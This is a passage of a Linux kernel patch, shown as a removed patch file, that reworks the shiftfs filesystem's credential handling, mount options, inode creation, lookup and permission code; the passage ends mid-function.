-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Acked-by: Tyler Hicks <tyhicks@×××××××××.com>
-Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
-Signed-off-by: Mike Pagano <mpagano@g.o>
----
- fs/Kconfig   |   10 +
- fs/shiftfs.c | 1852 ++++++++++++++++++++++++++++++++++++++++----------
- 2 files changed, 1493 insertions(+), 369 deletions(-)
-
-diff --git a/fs/Kconfig b/fs/Kconfig
-index b53bece1e940..ada9a1234e72 100644
---- a/fs/Kconfig
-+++ b/fs/Kconfig
-@@ -136,6 +136,16 @@ config SHIFT_FS
- 	  unprivileged containers can use this to mount root volumes
- 	  using this technique.
- 
-+config SHIFT_FS_POSIX_ACL
-+	bool "shiftfs POSIX Access Control Lists"
-+	depends on SHIFT_FS
-+	select FS_POSIX_ACL
-+	help
-+	  POSIX Access Control Lists (ACLs) support permissions for users and
-+	  groups beyond the owner/group/world scheme.
-+
-+	  If you don't know what Access Control Lists are, say N.
-+
- menu "Caches"
- 
- source "fs/netfs/Kconfig"
-diff --git a/fs/shiftfs.c b/fs/shiftfs.c
-index f7cada126daa..ad1ae5bce6c1 100644
---- a/fs/shiftfs.c
-+++ b/fs/shiftfs.c
-@@ -1,3 +1,4 @@
-+#include <linux/capability.h>
- #include <linux/cred.h>
- #include <linux/mount.h>
- #include <linux/file.h>
-@@ -7,83 +8,179 @@
- #include <linux/kernel.h>
- #include <linux/magic.h>
- #include <linux/parser.h>
-+#include <linux/security.h>
- #include <linux/seq_file.h>
- #include <linux/statfs.h>
- #include <linux/slab.h>
- #include <linux/user_namespace.h>
- #include <linux/uidgid.h>
- #include <linux/xattr.h>
-+#include <linux/posix_acl.h>
-+#include <linux/posix_acl_xattr.h>
-+#include <linux/uio.h>
- 
- struct shiftfs_super_info {
- 	struct vfsmount *mnt;
- 	struct user_namespace *userns;
-+	/* creds of process who created the super block */
-+	const struct cred *creator_cred;
- 	bool mark;
-+	unsigned int passthrough;
-+	struct shiftfs_super_info *info_mark;
- };
- 
--static struct inode *shiftfs_new_inode(struct super_block *sb, umode_t mode,
--				       struct dentry *dentry);
-+struct shiftfs_file_info {
-+	struct path realpath;
-+	struct file *realfile;
-+};
-+
-+struct kmem_cache *shiftfs_file_info_cache;
-+
-+static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
-+			       umode_t mode, dev_t dev, struct dentry *dentry);
-+
-+#define SHIFTFS_PASSTHROUGH_NONE 0
-+#define SHIFTFS_PASSTHROUGH_STAT 1
-+#define SHIFTFS_PASSTHROUGH_ALL (SHIFTFS_PASSTHROUGH_STAT)
-+
-+static inline bool shiftfs_passthrough_statfs(struct shiftfs_super_info *info)
-+{
-+	if (!(info->passthrough & SHIFTFS_PASSTHROUGH_STAT))
-+		return false;
-+
-+	if (info->info_mark &&
-+	    !(info->info_mark->passthrough & SHIFTFS_PASSTHROUGH_STAT))
-+		return false;
-+
-+	return true;
-+}
- 
- enum {
- 	OPT_MARK,
-+	OPT_PASSTHROUGH,
- 	OPT_LAST,
- };
- 
- /* global filesystem options */
- static const match_table_t tokens = {
- 	{ OPT_MARK, "mark" },
-+	{ OPT_PASSTHROUGH, "passthrough=%u" },
- 	{ OPT_LAST, NULL }
- };
- 
--static const struct cred *shiftfs_get_up_creds(struct super_block *sb)
-+static const struct cred *shiftfs_override_creds(const struct super_block *sb)
- {
--	struct shiftfs_super_info *ssi = sb->s_fs_info;
--	struct cred *cred = prepare_creds();
-+	struct shiftfs_super_info *sbinfo = sb->s_fs_info;
- 
--	if (!cred)
--		return NULL;
-+	return override_creds(sbinfo->creator_cred);
-+}
-+
-+static inline void shiftfs_revert_object_creds(const struct cred *oldcred,
-+					       struct cred *newcred)
-+{
-+	revert_creds(oldcred);
-+	put_cred(newcred);
-+}
-+
-+static int shiftfs_override_object_creds(const struct super_block *sb,
-+					 const struct cred **oldcred,
-+					 struct cred **newcred,
-+					 struct dentry *dentry, umode_t mode,
-+					 bool hardlink)
-+{
-+	kuid_t fsuid = current_fsuid();
-+	kgid_t fsgid = current_fsgid();
-+
-+	*oldcred = shiftfs_override_creds(sb);
-+
-+	*newcred = prepare_creds();
-+	if (!*newcred) {
-+		revert_creds(*oldcred);
-+		return -ENOMEM;
-+	}
-+
-+	(*newcred)->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, fsuid));
-+	(*newcred)->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, fsgid));
-+
-+	if (!hardlink) {
-+		int err = security_dentry_create_files_as(dentry, mode,
-+							  &dentry->d_name,
-+							  *oldcred, *newcred);
-+		if (err) {
-+			shiftfs_revert_object_creds(*oldcred, *newcred);
-+			return err;
-+		}
-+	}
- 
--	cred->fsuid = KUIDT_INIT(from_kuid(sb->s_user_ns, cred->fsuid));
--	cred->fsgid = KGIDT_INIT(from_kgid(sb->s_user_ns, cred->fsgid));
--	put_user_ns(cred->user_ns);
--	cred->user_ns = get_user_ns(ssi->userns);
-+	put_cred(override_creds(*newcred));
-+	return 0;
-+}
- 
--	return cred;
-+static kuid_t shift_kuid(struct user_namespace *from, struct user_namespace *to,
-+			 kuid_t kuid)
-+{
-+	uid_t uid = from_kuid(from, kuid);
-+	return make_kuid(to, uid);
- }
- 
--static const struct cred *shiftfs_new_creds(const struct cred **newcred,
--					    struct super_block *sb)
-+static kgid_t shift_kgid(struct user_namespace *from, struct user_namespace *to,
-+			 kgid_t kgid)
- {
--	const struct cred *cred = shiftfs_get_up_creds(sb);
-+	gid_t gid = from_kgid(from, kgid);
-+	return make_kgid(to, gid);
-+}
- 
--	*newcred = cred;
-+static void shiftfs_copyattr(struct inode *from, struct inode *to)
-+{
-+	struct user_namespace *from_ns = from->i_sb->s_user_ns;
-+	struct user_namespace *to_ns = to->i_sb->s_user_ns;
-+
-+	to->i_uid = shift_kuid(from_ns, to_ns, from->i_uid);
-+	to->i_gid = shift_kgid(from_ns, to_ns, from->i_gid);
-+	to->i_mode = from->i_mode;
-+	to->i_atime = from->i_atime;
-+	to->i_mtime = from->i_mtime;
-+	to->i_ctime = from->i_ctime;
-+	i_size_write(to, i_size_read(from));
-+}
- 
--	if (cred)
--		cred = override_creds(cred);
--	else
--		printk(KERN_ERR "shiftfs: Credential override failed: no memory\n");
-+static void shiftfs_copyflags(struct inode *from, struct inode *to)
-+{
-+	unsigned int mask = S_SYNC | S_IMMUTABLE | S_APPEND | S_NOATIME;
- 
--	return cred;
-+	inode_set_flags(to, from->i_flags & mask, mask);
- }
- 
--static void shiftfs_old_creds(const struct cred *oldcred,
--			      const struct cred **newcred)
-+static void shiftfs_file_accessed(struct file *file)
- {
--	if (!*newcred)
-+	struct inode *upperi, *loweri;
-+
-+	if (file->f_flags & O_NOATIME)
- 		return;
- 
--	revert_creds(oldcred);
--	put_cred(*newcred);
-+	upperi = file_inode(file);
-+	loweri = upperi->i_private;
-+
-+	if (!loweri)
-+		return;
-+
-+	upperi->i_mtime = loweri->i_mtime;
-+	upperi->i_ctime = loweri->i_ctime;
-+
-+	touch_atime(&file->f_path);
- }
- 
--static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
-+static int shiftfs_parse_mount_options(struct shiftfs_super_info *sbinfo,
-+				       char *options)
- {
- 	char *p;
- 	substring_t args[MAX_OPT_ARGS];
- 
--	ssi->mark = false;
-+	sbinfo->mark = false;
-+	sbinfo->passthrough = 0;
- 
- 	while ((p = strsep(&options, ",")) != NULL) {
--		int token;
-+		int err, intarg, token;
- 
- 		if (!*p)
- 			continue;
-@@ -91,121 +188,140 @@ static int shiftfs_parse_options(struct shiftfs_super_info *ssi, char *options)
- 		token = match_token(p, tokens, args);
- 		switch (token) {
- 		case OPT_MARK:
--			ssi->mark = true;
-+			sbinfo->mark = true;
-+			break;
-+		case OPT_PASSTHROUGH:
-+			err = match_int(&args[0], &intarg);
-+			if (err)
-+				return err;
-+
-+			if (intarg & ~SHIFTFS_PASSTHROUGH_ALL)
-+				return -EINVAL;
-+
-+			sbinfo->passthrough = intarg;
- 			break;
- 		default:
- 			return -EINVAL;
- 		}
- 	}
-+
- 	return 0;
- }
- 
- static void shiftfs_d_release(struct dentry *dentry)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 
--	dput(real);
-+	if (lowerd)
-+		dput(lowerd);
- }
- 
- static struct dentry *shiftfs_d_real(struct dentry *dentry,
- 				     const struct inode *inode)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	struct dentry *lowerd = dentry->d_fsdata;
-+
-+	if (inode && d_inode(dentry) == inode)
-+		return dentry;
- 
--	if (unlikely(real->d_flags & DCACHE_OP_REAL))
--		return real->d_op->d_real(real, real->d_inode);
-+	lowerd = d_real(lowerd, inode);
-+	if (lowerd && (!inode || inode == d_inode(lowerd)))
-+		return lowerd;
- 
--	return real;
-+	WARN(1, "shiftfs_d_real(%pd4, %s:%lu): real dentry not found\n", dentry,
-+	     inode ? inode->i_sb->s_id : "NULL", inode ? inode->i_ino : 0);
-+	return dentry;
- }
- 
- static int shiftfs_d_weak_revalidate(struct dentry *dentry, unsigned int flags)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	int err = 1;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 
--	if (d_unhashed(real))
-+	if (d_is_negative(lowerd) != d_is_negative(dentry))
- 		return 0;
- 
--	if (!(real->d_flags & DCACHE_OP_WEAK_REVALIDATE))
--		return 1;
-+	if ((lowerd->d_flags & DCACHE_OP_WEAK_REVALIDATE))
-+		err = lowerd->d_op->d_weak_revalidate(lowerd, flags);
- 
--	return real->d_op->d_weak_revalidate(real, flags);
-+	if (d_really_is_positive(dentry)) {
-+		struct inode *inode = d_inode(dentry);
-+		struct inode *loweri = d_inode(lowerd);
-+
-+		shiftfs_copyattr(loweri, inode);
-+		if (!inode->i_nlink)
-+			err = 0;
-+	}
-+
-+	return err;
- }
- 
- static int shiftfs_d_revalidate(struct dentry *dentry, unsigned int flags)
- {
--	struct dentry *real = dentry->d_fsdata;
--	int ret;
-+	int err = 1;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 
--	if (d_unhashed(real))
-+	if (d_unhashed(lowerd) ||
-+	    ((d_is_negative(lowerd) != d_is_negative(dentry))))
- 		return 0;
- 
--	/*
--	 * inode state of underlying changed from positive to negative
--	 * or vice versa; force a lookup to update our view
--	 */
--	if (d_is_negative(real) != d_is_negative(dentry))
--		return 0;
-+	if (flags & LOOKUP_RCU)
-+		return -ECHILD;
- 
--	if (!(real->d_flags & DCACHE_OP_REVALIDATE))
--		return 1;
-+	if ((lowerd->d_flags & DCACHE_OP_REVALIDATE))
-+		err = lowerd->d_op->d_revalidate(lowerd, flags);
- 
--	ret = real->d_op->d_revalidate(real, flags);
-+	if (d_really_is_positive(dentry)) {
-+		struct inode *inode = d_inode(dentry);
-+		struct inode *loweri = d_inode(lowerd);
- 
--	if (ret == 0 && !(flags & LOOKUP_RCU))
--		d_invalidate(real);
-+		shiftfs_copyattr(loweri, inode);
-+		if (!inode->i_nlink)
-+			err = 0;
-+	}
- 
--	return ret;
-+	return err;
- }
- 
- static const struct dentry_operations shiftfs_dentry_ops = {
--	.d_release	= shiftfs_d_release,
--	.d_real		= shiftfs_d_real,
--	.d_revalidate	= shiftfs_d_revalidate,
-+	.d_release	   = shiftfs_d_release,
-+	.d_real		   = shiftfs_d_real,
-+	.d_revalidate	   = shiftfs_d_revalidate,
- 	.d_weak_revalidate = shiftfs_d_weak_revalidate,
- };
- 
--static int shiftfs_readlink(struct dentry *dentry, char __user *data,
--			    int flags)
--{
--	struct dentry *real = dentry->d_fsdata;
--	const struct inode_operations *iop = real->d_inode->i_op;
--
--	if (iop->readlink)
--		return iop->readlink(real, data, flags);
--
--	return -EINVAL;
--}
--
- static const char *shiftfs_get_link(struct dentry *dentry, struct inode *inode,
- 				    struct delayed_call *done)
- {
--	if (dentry) {
--		struct dentry *real = dentry->d_fsdata;
--		struct inode *reali = real->d_inode;
--		const struct inode_operations *iop = reali->i_op;
--		const char *res = ERR_PTR(-EPERM);
--
--		if (iop->get_link)
--			res = iop->get_link(real, reali, done);
-+	const char *p;
-+	const struct cred *oldcred;
-+	struct dentry *lowerd;
- 
--		return res;
--	} else {
--		/* RCU lookup not supported */
-+	/* RCU lookup not supported */
-+	if (!dentry)
- 		return ERR_PTR(-ECHILD);
--	}
-+
-+	lowerd = dentry->d_fsdata;
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	p = vfs_get_link(lowerd, done);
-+	revert_creds(oldcred);
-+
-+	return p;
- }
- 
- static int shiftfs_setxattr(struct dentry *dentry, struct inode *inode,
- 			    const char *name, const void *value,
- 			    size_t size, int flags)
- {
--	struct dentry *real = dentry->d_fsdata;
--	int err = -EOPNOTSUPP;
--	const struct cred *oldcred, *newcred;
-+	struct dentry *lowerd = dentry->d_fsdata;
-+	int err;
-+	const struct cred *oldcred;
-+
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	err = vfs_setxattr(lowerd, name, value, size, flags);
-+	revert_creds(oldcred);
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	err = vfs_setxattr(real, name, value, size, flags);
--	shiftfs_old_creds(oldcred, &newcred);
-+	shiftfs_copyattr(lowerd->d_inode, inode);
- 
- 	return err;
- }
-@@ -214,13 +330,13 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
- 			     struct dentry *dentry, struct inode *inode,
- 			     const char *name, void *value, size_t size)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 	int err;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	err = vfs_getxattr(real, name, value, size);
--	shiftfs_old_creds(oldcred, &newcred);
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	err = vfs_getxattr(lowerd, name, value, size);
-+	revert_creds(oldcred);
- 
- 	return err;
- }
-@@ -228,26 +344,29 @@ static int shiftfs_xattr_get(const struct xattr_handler *handler,
- static ssize_t shiftfs_listxattr(struct dentry *dentry, char *list,
- 				 size_t size)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 	int err;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	err = vfs_listxattr(real, list, size);
--	shiftfs_old_creds(oldcred, &newcred);
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	err = vfs_listxattr(lowerd, list, size);
-+	revert_creds(oldcred);
- 
- 	return err;
- }
- 
- static int shiftfs_removexattr(struct dentry *dentry, const char *name)
- {
--	struct dentry *real = dentry->d_fsdata;
-+	struct dentry *lowerd = dentry->d_fsdata;
- 	int err;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
-+
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	err = vfs_removexattr(lowerd, name);
-+	revert_creds(oldcred);
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	err = vfs_removexattr(real, name);
--	shiftfs_old_creds(oldcred, &newcred);
-+	/* update c/mtime */
-+	shiftfs_copyattr(lowerd->d_inode, d_inode(dentry));
- 
- 	return err;
- }
-@@ -262,93 +381,157 @@ static int shiftfs_xattr_set(const struct xattr_handler *handler,
- 	return shiftfs_setxattr(dentry, inode, name, value, size, flags);
- }
- 
--static void shiftfs_fill_inode(struct inode *inode, struct dentry *dentry)
-+static int shiftfs_inode_test(struct inode *inode, void *data)
- {
--	struct inode *reali;
--
--	if (!dentry)
--		return;
--
--	reali = dentry->d_inode;
--
--	if (!reali->i_op->get_link)
--		inode->i_opflags |= IOP_NOFOLLOW;
-+	return inode->i_private == data;
-+}
- 
--	inode->i_mapping = reali->i_mapping;
--	inode->i_private = dentry;
-+static int shiftfs_inode_set(struct inode *inode, void *data)
-+{
-+	inode->i_private = data;
-+	return 0;
- }
- 
--static int shiftfs_make_object(struct inode *dir, struct dentry *dentry,
--			       umode_t mode, const char *symlink,
--			       struct dentry *hardlink, bool excl)
-+static int shiftfs_create_object(struct inode *diri, struct dentry *dentry,
-+				 umode_t mode, const char *symlink,
-+				 struct dentry *hardlink, bool excl)
- {
--	struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
--	struct inode *reali = real->d_inode, *newi;
--	const struct inode_operations *iop = reali->i_op;
- 	int err;
--	const struct cred *oldcred, *newcred;
--	bool op_ok = false;
-+	const struct cred *oldcred;
-+	struct cred *newcred;
-+	void *loweri_iop_ptr = NULL;
-+	umode_t modei = mode;
-+	struct super_block *dir_sb = diri->i_sb;
-+	struct dentry *lowerd_new = dentry->d_fsdata;
-+	struct inode *inode = NULL, *loweri_dir = diri->i_private;
-+	const struct inode_operations *loweri_dir_iop = loweri_dir->i_op;
-+	struct dentry *lowerd_link = NULL;
- 
- 	if (hardlink) {
--		op_ok = iop->link;
-+		loweri_iop_ptr = loweri_dir_iop->link;
- 	} else {
- 		switch (mode & S_IFMT) {
- 		case S_IFDIR:
--			op_ok = iop->mkdir;
-+			loweri_iop_ptr = loweri_dir_iop->mkdir;
- 			break;
- 		case S_IFREG:
--			op_ok = iop->create;
-+			loweri_iop_ptr = loweri_dir_iop->create;
- 			break;
- 		case S_IFLNK:
--			op_ok = iop->symlink;
-+			loweri_iop_ptr = loweri_dir_iop->symlink;
-+			break;
-+		case S_IFSOCK:
-+			/* fall through */
-+		case S_IFIFO:
-+			loweri_iop_ptr = loweri_dir_iop->mknod;
-+			break;
- 		}
- 	}
--	if (!op_ok)
--		return -EINVAL;
-+	if (!loweri_iop_ptr) {
-+		err = -EINVAL;
-+		goto out_iput;
-+	}
- 
-+	inode_lock_nested(loweri_dir, I_MUTEX_PARENT);
- 
--	newi = shiftfs_new_inode(dentry->d_sb, mode, NULL);
--	if (!newi)
--		return -ENOMEM;
-+	if (!hardlink) {
-+		inode = new_inode(dir_sb);
-+		if (!inode) {
-+			err = -ENOMEM;
-+			goto out_iput;
-+		}
-+
-+		/*
-+		 * new_inode() will have added the new inode to the super
-+		 * block's list of inodes. Further below we will call
-+		 * inode_insert5() Which would perform the same operation again
-+		 * thereby corrupting the list. To avoid this raise I_CREATING
-+		 * in i_state which will cause inode_insert5() to skip this
-+		 * step. I_CREATING will be cleared by d_instantiate_new()
-+		 * below.
-+		 */
-+		spin_lock(&inode->i_lock);
-+		inode->i_state |= I_CREATING;
-+		spin_unlock(&inode->i_lock);
- 
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+		inode_init_owner(inode, diri, mode);
-+		modei = inode->i_mode;
-+	}
- 
--	inode_lock_nested(reali, I_MUTEX_PARENT);
-+	err = shiftfs_override_object_creds(dentry->d_sb, &oldcred, &newcred,
-+					    dentry, modei, hardlink != NULL);
-+	if (err)
-+		goto out_iput;
- 
--	err = -EINVAL;		/* shut gcc up about uninit var */
- 	if (hardlink) {
--		struct dentry *realhardlink = hardlink->d_fsdata;
--
--		err = vfs_link(realhardlink, reali, new, NULL);
-+		lowerd_link = hardlink->d_fsdata;
-+		err = vfs_link(lowerd_link, loweri_dir, lowerd_new, NULL);
- 	} else {
--		switch (mode & S_IFMT) {
-+		switch (modei & S_IFMT) {
- 		case S_IFDIR:
--			err = vfs_mkdir(reali, new, mode);
-+			err = vfs_mkdir(loweri_dir, lowerd_new, modei);
- 			break;
- 		case S_IFREG:
--			err = vfs_create(reali, new, mode, excl);
-+			err = vfs_create(loweri_dir, lowerd_new, modei, excl);
- 			break;
- 		case S_IFLNK:
--			err = vfs_symlink(reali, new, symlink);
-+			err = vfs_symlink(loweri_dir, lowerd_new, symlink);
-+			break;
-+		case S_IFSOCK:
-+			/* fall through */
-+		case S_IFIFO:
-+			err = vfs_mknod(loweri_dir, lowerd_new, modei, 0);
-+			break;
-+		default:
-+			err = -EINVAL;
-+			break;
- 		}
- 	}
- 
--	shiftfs_old_creds(oldcred, &newcred);
-+	shiftfs_revert_object_creds(oldcred, newcred);
- 
-+	if (!err && WARN_ON(!lowerd_new->d_inode))
-+		err = -EIO;
- 	if (err)
--		goto out_dput;
-+		goto out_iput;
-+
-+	if (hardlink) {
-+		inode = d_inode(hardlink);
-+		ihold(inode);
-+
-+		/* copy up times from lower inode */
-+		shiftfs_copyattr(d_inode(lowerd_link), inode);
-+		set_nlink(d_inode(hardlink), d_inode(lowerd_link)->i_nlink);
-+		d_instantiate(dentry, inode);
-+	} else {
-+		struct inode *inode_tmp;
-+		struct inode *loweri_new = d_inode(lowerd_new);
-+
-+		inode_tmp = inode_insert5(inode, (unsigned long)loweri_new,
-+					  shiftfs_inode_test, shiftfs_inode_set,
-+					  loweri_new);
-+		if (unlikely(inode_tmp != inode)) {
-+			pr_err_ratelimited("shiftfs: newly created inode found in cache\n");
-+			iput(inode_tmp);
-+			err = -EINVAL;
-+			goto out_iput;
-+		}
- 
--	shiftfs_fill_inode(newi, new);
-+		ihold(loweri_new);
-+		shiftfs_fill_inode(inode, loweri_new->i_ino, loweri_new->i_mode,
-+				   0, lowerd_new);
-+		d_instantiate_new(dentry, inode);
-+	}
- 
--	d_instantiate(dentry, newi);
-+	shiftfs_copyattr(loweri_dir, diri);
-+	if (loweri_iop_ptr == loweri_dir_iop->mkdir)
-+		set_nlink(diri, loweri_dir->i_nlink);
- 
--	new = NULL;
--	newi = NULL;
-+	inode = NULL;
- 
-- out_dput:
--	dput(new);
--	iput(newi);
--	inode_unlock(reali);
-+out_iput:
-+	iput(inode);
-+	inode_unlock(loweri_dir);
- 
- 	return err;
- }
-@@ -358,7 +541,7 @@ static int shiftfs_create(struct inode *dir, struct dentry *dentry,
- {
- 	mode |= S_IFREG;
- 
--	return shiftfs_make_object(dir, dentry, mode, NULL, NULL, excl);
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, excl);
- }
- 
- static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
-@@ -366,39 +549,52 @@ static int shiftfs_mkdir(struct inode *dir, struct dentry *dentry,
- {
- 	mode |= S_IFDIR;
- 
--	return shiftfs_make_object(dir, dentry, mode, NULL, NULL, false);
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
- }
- 
- static int shiftfs_link(struct dentry *hardlink, struct inode *dir,
- 			struct dentry *dentry)
- {
--	return shiftfs_make_object(dir, dentry, 0, NULL, hardlink, false);
-+	return shiftfs_create_object(dir, dentry, 0, NULL, hardlink, false);
-+}
-+
-+static int shiftfs_mknod(struct inode *dir, struct dentry *dentry, umode_t mode,
-+			 dev_t rdev)
-+{
-+	if (!S_ISFIFO(mode) && !S_ISSOCK(mode))
-+		return -EPERM;
-+
-+	return shiftfs_create_object(dir, dentry, mode, NULL, NULL, false);
- }
- 
- static int shiftfs_symlink(struct inode *dir, struct dentry *dentry,
- 			   const char *symlink)
- {
--	return shiftfs_make_object(dir, dentry, S_IFLNK, symlink, NULL, false);
-+	return shiftfs_create_object(dir, dentry, S_IFLNK, symlink, NULL, false);
- }
- 
- static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
- {
--	struct dentry *real = dir->i_private, *new = dentry->d_fsdata;
--	struct inode *reali = real->d_inode;
-+	struct dentry *lowerd = dentry->d_fsdata;
-+	struct inode *loweri = dir->i_private;
- 	int err;
--	const struct cred *oldcred, *newcred;
--
--	inode_lock_nested(reali, I_MUTEX_PARENT);
--
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
-+	const struct cred *oldcred;
- 
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	inode_lock_nested(loweri, I_MUTEX_PARENT);
- 	if (rmdir)
--		err = vfs_rmdir(reali, new);
-+		err = vfs_rmdir(loweri, lowerd);
- 	else
--		err = vfs_unlink(reali, new, NULL);
-+		err = vfs_unlink(loweri, lowerd, NULL);
-+	inode_unlock(loweri);
-+	revert_creds(oldcred);
- 
--	shiftfs_old_creds(oldcred, &newcred);
--	inode_unlock(reali);
-+	shiftfs_copyattr(loweri, dir);
-+	set_nlink(d_inode(dentry), loweri->i_nlink);
-+	if (!err)
-+		d_drop(dentry);
-+
-+	set_nlink(dir, loweri->i_nlink);
- 
- 	return err;
- }
-@@ -417,27 +613,30 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
- 			  struct inode *newdir, struct dentry *new,
- 			  unsigned int flags)
- {
--	struct dentry *rodd = olddir->i_private, *rndd = newdir->i_private,
--		*realold = old->d_fsdata,
--		*realnew = new->d_fsdata, *trap;
--	struct inode *realolddir = rodd->d_inode, *realnewdir = rndd->d_inode;
-+	struct dentry *lowerd_dir_old = old->d_parent->d_fsdata,
-+		      *lowerd_dir_new = new->d_parent->d_fsdata,
-+		      *lowerd_old = old->d_fsdata, *lowerd_new = new->d_fsdata,
-+		      *trapd;
-+	struct inode *loweri_dir_old = lowerd_dir_old->d_inode,
-+		     *loweri_dir_new = lowerd_dir_new->d_inode;
- 	int err = -EINVAL;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
- 
--	trap = lock_rename(rndd, rodd);
-+	trapd = lock_rename(lowerd_dir_new, lowerd_dir_old);
- 
--	if (trap == realold || trap == realnew)
-+	if (trapd == lowerd_old || trapd == lowerd_new)
- 		goto out_unlock;
- 
--	oldcred = shiftfs_new_creds(&newcred, old->d_sb);
--
--	err = vfs_rename(realolddir, realold, realnewdir,
--			 realnew, NULL, flags);
-+	oldcred = shiftfs_override_creds(old->d_sb);
-+	err = vfs_rename(loweri_dir_old, lowerd_old, loweri_dir_new, lowerd_new,
-+			 NULL, flags);
-+	revert_creds(oldcred);
- 
--	shiftfs_old_creds(oldcred, &newcred);
-+	shiftfs_copyattr(loweri_dir_old, olddir);
-+	shiftfs_copyattr(loweri_dir_new, newdir);
- 
-- out_unlock:
--	unlock_rename(rndd, rodd);
-+out_unlock:
-+	unlock_rename(lowerd_dir_new, lowerd_dir_old);
- 
- 	return err;
- }
-@@ -445,304 +644,1210 @@ static int shiftfs_rename(struct inode *olddir, struct dentry *old,
- static struct dentry *shiftfs_lookup(struct inode *dir, struct dentry *dentry,
- 				     unsigned int flags)
- {
--	struct dentry *real = dir->i_private, *new;
--	struct inode *reali = real->d_inode, *newi;
--	const struct cred *oldcred, *newcred;
--
--	inode_lock(reali);
--	oldcred = shiftfs_new_creds(&newcred, dentry->d_sb);
--	new = lookup_one_len(dentry->d_name.name, real, dentry->d_name.len);
--	shiftfs_old_creds(oldcred, &newcred);
--	inode_unlock(reali);
-+	struct dentry *new;
-+	struct inode *newi;
-+	const struct cred *oldcred;
-+	struct dentry *lowerd = dentry->d_parent->d_fsdata;
-+	struct inode *inode = NULL, *loweri = lowerd->d_inode;
-+
-+	inode_lock(loweri);
-+	oldcred = shiftfs_override_creds(dentry->d_sb);
-+	new = lookup_one_len(dentry->d_name.name, lowerd, dentry->d_name.len);
-+	revert_creds(oldcred);
-+	inode_unlock(loweri);
- 
- 	if (IS_ERR(new))
- 		return new;
- 
- 	dentry->d_fsdata = new;
- 
--	newi = NULL;
--	if (!new->d_inode)
-+	newi = new->d_inode;
-+	if (!newi)
- 		goto out;
- 
--	newi = shiftfs_new_inode(dentry->d_sb, new->d_inode->i_mode, new);
--	if (!newi) {
-+	inode = iget5_locked(dentry->d_sb, (unsigned long)newi,
-+			     shiftfs_inode_test, shiftfs_inode_set, newi);
-+	if (!inode) {
- 		dput(new);
- 		return ERR_PTR(-ENOMEM);
- 	}
-+	if (inode->i_state & I_NEW) {
-+		/*
-+		 * inode->i_private set by shiftfs_inode_set(), but we still
-+		 * need to take a reference
-+		*/
-+		ihold(newi);
-+		shiftfs_fill_inode(inode, newi->i_ino, newi->i_mode, 0, new);
-+		unlock_new_inode(inode);
-+	}
- 
-- out:
--	return d_splice_alias(newi, dentry);
-+out:
-+	return d_splice_alias(inode, dentry);
- }
- 
- static int shiftfs_permission(struct inode *inode, int mask)
- {
--	struct dentry *real = inode->i_private;
--	struct inode *reali = real->d_inode;
--	const struct inode_operations *iop = reali->i_op;
- 	int err;
--	const struct cred *oldcred, *newcred;
-+	const struct cred *oldcred;
-+	struct inode *loweri = inode->i_private;
- 
--	if (mask & MAY_NOT_BLOCK)
-+	if (!loweri) {
-+		WARN_ON(!(mask & MAY_NOT_BLOCK));
- 		return -ECHILD;
-+	}
- 
--	oldcred = shiftfs_new_creds(&newcred, inode->i_sb);
--	if (iop->permission)
--		err = iop->permission(reali, mask);
--	else
--		err = generic_permission(reali, mask);
--	shiftfs_old_creds(oldcred, &newcred);
-+	err = generic_permission(inode, mask);
-+	if (err)
-+		return err;
-+
-+	oldcred = shiftfs_override_creds(inode->i_sb);
-+	err = inode_permission(loweri, mask);
-+	revert_creds(oldcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_fiemap(struct inode *inode,
-+			  struct fiemap_extent_info *fieinfo, u64 start,
-+			  u64 len)
-+{
-+	int err;
-+	const struct cred *oldcred;
-+	struct inode *loweri = inode->i_private;
-+
-+	if (!loweri->i_op->fiemap)
-+		return -EOPNOTSUPP;
-+
-+	oldcred = shiftfs_override_creds(inode->i_sb);
-+	if (fieinfo->fi_flags & FIEMAP_FLAG_SYNC)
-+		filemap_write_and_wait(loweri->i_mapping);
-+	err = loweri->i_op->fiemap(loweri, fieinfo, start, len);
-+	revert_creds(oldcred);
-+
-+	return err;
-+}
-+
-+static int shiftfs_tmpfile(struct inode *dir, struct dentry *dentry,
-+			   umode_t mode)
-+{
-+	int err;
-+	const struct cred *oldcred;
-+	struct dentry *lowerd = dentry->d_fsdata;
-+	struct inode *loweri = dir->i_private;
-+
-+	if (!loweri->i_op->tmpfile)
